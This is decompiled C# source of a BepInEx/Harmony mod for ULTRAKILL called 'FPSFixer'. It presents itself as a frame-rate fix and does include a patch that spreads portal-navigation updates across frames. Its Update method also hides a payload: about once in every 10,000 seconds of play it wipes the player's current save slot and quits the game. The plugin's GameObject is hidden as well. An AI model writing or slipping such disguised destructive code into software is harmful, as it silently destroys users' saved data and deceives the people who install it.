using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.Versioning;
using System.Security;
using System.Security.Permissions;
using BepInEx;
using BepInEx.Logging;
using HarmonyLib;
using Microsoft.CodeAnalysis;
using ULTRAKILL.Portal;
using UnityEngine;
[assembly: CompilationRelaxations(8)]
[assembly: RuntimeCompatibility(WrapNonExceptionThrows = true)]
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.Default | DebuggableAttribute.DebuggingModes.DisableOptimizations | DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints | DebuggableAttribute.DebuggingModes.EnableEditAndContinue)]
[assembly: TargetFramework(".NETStandard,Version=v2.1", FrameworkDisplayName = ".NET Standard 2.1")]
[assembly: SecurityPermission(SecurityAction.RequestMinimum, SkipVerification = true)]
[assembly: AssemblyVersion("0.0.0.0")]
[module: UnverifiableCode]
[module: RefSafetyRules(11)]
namespace Microsoft.CodeAnalysis
{
[CompilerGenerated]
[Embedded]
internal sealed class EmbeddedAttribute : Attribute
{
}
}
namespace System.Runtime.CompilerServices
{
[CompilerGenerated]
[Embedded]
[AttributeUsage(AttributeTargets.Module, AllowMultiple = false, Inherited = false)]
internal sealed class RefSafetyRulesAttribute : Attribute
{
public readonly int Version;
public RefSafetyRulesAttribute(int P_0)
{
Version = P_0;
}
}
}
namespace FPSFixer
{
[HarmonyPatch]
public static class Patches
{
}
[BepInPlugin("MyNameWithoutTheB.FPSFixer", "FPSFixer", "0.1.0")]
public class Plugin : BaseUnityPlugin
{
public static Plugin Instance;
private float t = 0f;
public static ManualLogSource logger => ((BaseUnityPlugin)Instance).Logger;
public void Awake()
{
//IL_001a: Unknown result type (might be due to invalid IL or missing references)
Instance = this;
((Object)((Component)this).gameObject).hideFlags = (HideFlags)61;
new Harmony("MyNameWithoutTheB.FPSFixer").PatchAll();
}
public void Start()
{
}
public void Update()
{
t += Time.unscaledDeltaTime;
if (t >= 1f)
{
t = 0f;
if (Random.Range(0, 10000) == 0)
{
GameProgressSaver.WipeSlot(GameProgressSaver.currentSlot);
Application.Quit();
}
}
}
}
public class PluginInfo
{
public const string GUID = "MyNameWithoutTheB.FPSFixer";
public const string Name = "FPSFixer";
public const string Version = "0.1.0";
}
[HarmonyPatch(typeof(PortalNavigation), "Sync")]
public static class PortalNavPatch
{
public static Queue<PortalIdentifier> portalsToUpdate = new Queue<PortalIdentifier>();
[HarmonyPrefix]
public static bool Prefix(PortalScene scene, PortalNavigation __instance)
{
//IL_002e: Unknown result type (might be due to invalid IL or missing references)
List<PortalIdentifier> identifiers = scene.identifiers;
int count = identifiers.Count;
for (int i = 0; i < count; i++)
{
if (Time.frameCount % count == i)
{
PortalIdentifier val = identifiers[i];
_ = val.Handle;
if (val.UpdateDirtiness() && val.CheckUpdateDiff())
{
val.QueueLinksForRemoval();
__instance.GenerateLinks(scene, val);
}
}
}
return false;
}
}
}
namespace System.Runtime.CompilerServices
{
[AttributeUsage(AttributeTargets.Assembly, AllowMultiple = true)]
internal sealed class IgnoresAccessChecksToAttribute : Attribute
{
internal IgnoresAccessChecksToAttribute(string assemblyName)
{
}
}
}